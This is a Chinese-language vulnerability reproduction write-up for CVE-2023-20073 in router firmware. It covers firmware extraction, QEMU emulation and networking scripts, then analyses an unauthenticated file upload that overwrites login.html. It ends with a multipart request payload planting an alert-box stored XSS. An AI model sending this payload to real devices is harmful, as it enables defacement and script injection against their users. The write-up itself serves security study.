CVE-2023-20073漏洞复现
CVE-2023-20073漏洞复现
本文主要是记录漏洞的分析利用,模拟启动等细节参考zikh师傅的文章,他写的真的很细
[[原创\]从零开始复现 CVE-2023-20073-智能设备-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-278240.htm#msg_header_h1_4)
启动服务
首先使用binwalk解压一下固件,建议使用ubuntu20.04,因为如果使用18.04会出现一些软连接报错的问题,当然也是有办法解决的就是修改
binwalk/build/lib/binwalk/modules/extractor.py
文件的一些东西如下:
当然还会出现一些依赖没有安装的问题
sudo apt install liblzo2-dev #安装解压ubi文件的工具
sudo pip3 install python-lzo
sudo pip3 install ubi_reader
sudo apt-get update #出现下面报错
sudo apt-get install lzop
下载arm架构的qemu,密码和用户都是root 下载固件
qemu环境
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress
wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress
固件下载
https://software.cisco.com/download/home/286287791/type/282465789/release/1.0.03.29
qemu启动脚本
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -smp 4
qemu和宿主机的通信,三个脚本直接跑就行了但要注意网卡名字是否一致
#!/bin/sh
#sudo ifconfig eth0 down # 首先关闭宿主机网卡接口
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0 # 查看虚拟网桥列表
sudo brctl showstp br0 # 查看 br0 的各接口信息
#!/bin/sh
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
sudo brctl showstp br0
#!/bin/sh
#sudo ifconfig eth0 down # 首先关闭宿主机网卡接口
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0 # 查看虚拟网桥列表
sudo brctl showstp br0 # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
sudo brctl showstp br0
然后就是将rootfs文件夹压缩使用scp穿进入,注意必须是压缩后的,如果不压缩会出现软链接的错误
chmod -R 777 rootfs
cd rootfs/
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh
/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start
漏洞成因分析
在
/etc/nginx/conf.d/rest.url.conf
文件中存在一个未授权的文件上传,仅仅只是检查$http_authorization
字段是否为空,然后就会把文件上传道/tmp/upload
中,这个漏洞也仅仅只是前提,具体怎么操作还要分析一下二进制文件
第一次复现RCE的漏洞(上一个还是DIR-815,两者区别有点大,这个web的知识更多)就记录一下一些字段的含义
$http_authorization:
就是https头中用于检查身份认证的例如:GET /secure-page HTTP/1.1 Host: example.com Authorization: Basic dXNlcjEyMzpwYXNzd29yZDQ1Ng== // dXNlcjEyMzpwYXNzd29yZDQ1Ng== 是 "user123:password456" 的 Base64 编码结果。
upload_pass:
这个指令用于指定文件上传请求的处理地址,起到了将文件上传请求传递给后端服务器的作,后面跟的是后端处理路径
upload_store:
这个指令用于指定上传文件的临时存储目录
upload_store_access:
用于设置上传的文件的访问权限,
upload_set_form_field $upload_field_name:
用于设置上传文件的表单字段,比如文件名、文件类型、文件路径
upload_aggregate_form_field:
用于聚合上传文件的表单字段,语法如下
upload_aggregate_form_field "$upload_field_name.attribute" "$value";
其中,
$upload_field_name
是一个变量,表示上传文件的表单字段名。attribute
是要设置的字段属性,可以是自定义的属性名。$value
是要设置的属性值。
接下来我们就看看
/form-file-upload
中干了什么.路径是/etc/nginx/conf.d/web.upload.conf
主要是看
uwsgi_pass 127.0.0.1:9003;
查看后端服务的进程
include uwsgi_params;
:包含uwsgi_params
文件,这个文件包含了一些与 uWSGI 通信相关的参数和设置。
proxy_buffering off;
:禁用代理缓冲,即不在 Nginx 中缓冲响应数据。
uwsgi_modifier1 9;
:这个指令是 uWSGI 模块的一个设置,用于设置 uWSGI 与 Nginx 之间的通信方式。这里的9
是一个标志,表示以 "uwsgi" 方式通信。
uwsgi_pass 127.0.0.1:9003;
:将请求代理到后端的 uWSGI 服务器,该服务器位于本地主机(127.0.0.1)的端口 9003。
uwsgi_read_timeout 3600;
:设置从 uWSGI 后端读取响应的超时时间为 3600 秒。如果超过这个时间没有接收到响应,Nginx 将会关闭连接。
uwsgi_send_timeout 3600;
:设置向 uWSGI 后端发送请求的超时时间为 3600 秒。如果超过这个时间没有发送完请求,Nginx 将会关闭连接。·
uWSGI
就是充当了 Web 服务器和应用程序之间的桥梁
看一下
uWSGI
启动脚本(也就是uwsgi-launcher
)看看调用了哪些进程,主要看/etc/uwsgi/upload.ini
进入
/etc/uwsgi/upload.ini
发现最终是调用
/www/cgi-bin/upload.cgi
这个程序,下面就开始分析二进制程序了
分析二进制程序
主要注意我所圈住的
从漏洞处开始分析,也就是
sub_115EC
函数发现可以执行
'mv -f a2 v8//a3'
这个命令 其中a2 a3使我们可以控制的2,v8也是我们可以挑选的,发现v8可以是/tmp/www/
那就是看看这个目录下有没有什么比较特殊的,发现www
下的index.html
和login.html
都是软连接在tmp/www
/下。那我们就可以执行
'mv -f /tmp/upload/0000000006 /tmp/www//login.html'
来进行一个xss攻击
其实吧这个程序是有身份权限认证的,只不过是在漏洞后面sub_125A8
在这里对Authorization
的值进行了匹配,只不过为时已晚
然后简单说一下需要绕过的的检查
pathparam
字段是Portal
为了让v8是/tmp/www/
fileparam
字段是login.html
为了让a3是login.html
Authorization
不为空
攻击效果
攻击脚本
------hacked-by-trunk------
Content-Disposition: form-data; name="pathparam"
Portal
------hacked-by-trunk------
Content-Disposition: form-data; name="fileparam"
login.html
------hacked-by-trunk------
Content-Disposition: form-data; name="file"; filename="login.html"
Content-Type: application/octet-stream
<title>Hacked by trunk!</title>
<script>alert('Hacked by trunk!')</script>
------hacked-by-trunk------
参考
[原创]从零开始复现 CVE-2023-20073-智能设备-看雪-安全社区|安全招聘|kanxue.com
https://www.yuque.com/cyberangel/rg9gdm/zz75e4#scjc2